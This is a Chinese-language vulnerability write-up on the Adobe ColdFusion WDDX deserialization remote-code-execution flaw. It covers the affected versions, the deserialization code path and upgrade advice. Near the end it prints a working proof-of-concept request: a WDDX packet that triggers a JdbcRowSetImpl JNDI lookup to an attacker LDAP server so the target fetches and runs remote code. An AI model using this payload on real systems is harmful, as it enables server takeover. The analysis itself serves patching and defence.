1.漏洞描述
Adobe ColdFusion是美国奥多比(Adobe)公司的一套快速应用程序开发平台。该平台包括集成开发环境和脚本语言。
Adobe ColdFusion存在代码问题漏洞,该漏洞源于受到不受信任数据反序列化漏洞的影响,攻击者通过漏洞可以代码执行,可导致服务器失陷,获取服务器权限。
2.影响版本
ColdFusion 2018 <= Update 16
ColdFusion 2021 <= Update 6
ColdFusion 2023 GA Release (2023.0.0.330468)
3.影响范围
4.漏洞分析
首先git diff 并观察到coldfusion.wddx.DeserializerWorker.java文件中的显着变化。
这是一个XML 类型的WDDX数据包解串器。在startElement方法中DeserializerWorker,我们注意到新添加的验证是通过validateWddxFilter() forstruct元素执行的。
实现了coldfusion.wddx.WddxObjectSerializer接口的各个序列化器能够对数据进行 WDDX 序列化,如StringSerializer,NumberSerializer,BeanSerializer等等。
使用BeanSerializer对自定义的 Java Bean 进行序列化,调试过程中也可以看到对象类型与序列化器默认的映射关系。
反序列化由coldfusion.wddx.WddxDeserializer类实现。
对于 ColdFusion 来说,WDDX 中的每个元素都是一个WddxElement,不同的元素对应着不同的Handler处理类,例如<string>标签中的元素与属性将由StringHandler处理,<struct>标签会由StructHandler处理。
看看onStartElement()和onEndElement()方法
onStartElement()和onEndElement()是 SAX 解析器(Simple API for XML)中的回调方法,分别在解析到 XML 元素的开始和结束标签时被调用。可以看到<struct>标签的type属性将在onStartElement()方法中被赋值给变量m_strictType。
getClassBySignature()
这里首先会截掉type属性的前后两字符,然后将剩下的字符串视作类名,调用Class.forName()方法进行类加载,并紧接着在onEndElement()方法中调用其无参构造。
接下来StructHandler#setBeanProperties()方法中存在明显的Method#invoke()操作,目的是调用目标对象的 setter 方法,为刚刚被实例化的对象属性赋值。
寻找传入序列化 payload 并触发反序列化的途径
跟进
coldfusion.filter.FilterUtils#WDDXDeserialize()
跟进
FilterUtils#GetArgumentCollection()
分析findAttribute()方法可知,参数为url.xxx表示从请求的 URL 中获取xxx的参数值,form.yyy表示从上传的表单中获取yyy的参数值。
继续向上追溯,最终定位到coldfusion.filter.ComponentFilter#invoke()方法中。
ComponentFilter是一个继承了FusionFilter抽象类的过滤器,既然和过滤器扯上了关系,第一步肯定就是检查 web.xml 配置文件了。
可知解析 .cfc 页面的 Servlet 即
CFCServlet
。
跟进
CFCServlet
的
getCFCFilterChain()
方法
其返回的 Filter Chain 中正好包含有ComponentFilter。
需要注意的是,PathFilter会检查访问的目标文件是否存在,因此我们不能访问一个服务器中不存在的 .cfc 文件。
据此尝试构造如下数据包,一路跟进到ComponentFilter#invoke()方法:
POST /CFIDE/adminapi/base.cfc HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Length: 365
Content-Type: application/x-www-form-urlencoded
argumentCollection=*poc*
这里还有个if
判断,如果没有传入
method
参数的话就会提前返回 302,截断我们的攻击路径。
我们给上
method
参数即可
这样我们就能跳过
if
,调用
GetArgumentCollection()
方法将序列化后的恶意数据传入服务器了。
Poc:
Host: your-ip
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded
cmd: id
argumentCollection=
<wddxPacket version='1.0'>
<header/>
<data>
<struct type='xcom.sun.rowset.JdbcRowSetImplx'>
<var name='dataSourceName'>
<string>ldap://your-ip:1389/Basic/TomcatEcho</string>
</var>
<var name='autoCommit'>
<boolean value='true'/>
</var>
</struct>
</data>
</wddxPacket>
**5.**修复建议
目前这些漏洞已经修复,受影响用户可升级到以下版本:
Adobe ColdFusion 2018 >= 2018 Update 17
Adobe ColdFusion 2021 >= 2021 Update 7
Adobe ColdFusion 2023 >= 2023 Update 1
参考链接:
https://helpx.adobe.com/security/products/coldfusion/apsb23-40.html
版权归原作者 玄道网安 所有, 如有侵权,请联系我们删除。